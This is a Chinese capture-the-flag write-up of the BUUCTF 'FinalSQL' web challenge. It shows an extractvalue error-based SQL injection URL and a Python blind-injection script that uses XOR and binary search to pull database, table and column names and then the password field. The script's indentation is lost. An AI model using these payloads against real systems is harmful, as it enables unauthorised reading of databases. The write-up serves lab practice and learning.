CTF-Web-[极客大挑战 2019]FinalSQL
博客说明
文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途!
CTP平台
网址
题目
Web类,[极客大挑战 2019]FinalSQL

打开题目的实例

思路
SQl的题目,首先试一试万能密码(虽然不可能,但是还是得试一下)

试一下双写

看来被封死了,想想其他的办法,可以使用extractvalue和updatexml进行报错注入,空格和=号没有,所以我们要使用()来代替空格,使用like来代替=号
使用extractvalue()
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(database()))))%23

看来是加强到最后一版本了,仔细查看它的提示,试一试盲注
盲注
试着写脚本,不用试着了,网上大神的脚本
# -*- coding: utf-8 -*-
# @Author: jiaoben
# @Date : 2020/05/03
import re
import requests
import string
url = "http://dcf33d60-7ffa-41c0-8915-e935ccbdd37b.node3.buuoj.cn//search.php"
flag = ''
def payload(i, j):
# 数据库名字
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
# sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=', flag)
取消数据库的注释

猜测为geek数据库
爆表
以上的代码选择查询数据表的那行就行了

找到两个字段,尝试F1naI1y
爆字段
以上的代码选择查询数据列的那行就行了

找到3个字段,可以选择password
爆数据
以上的代码选择查询flag的那行就行了

flag就找到了
感谢
BUUCTF
以及勤劳的自己
网友评论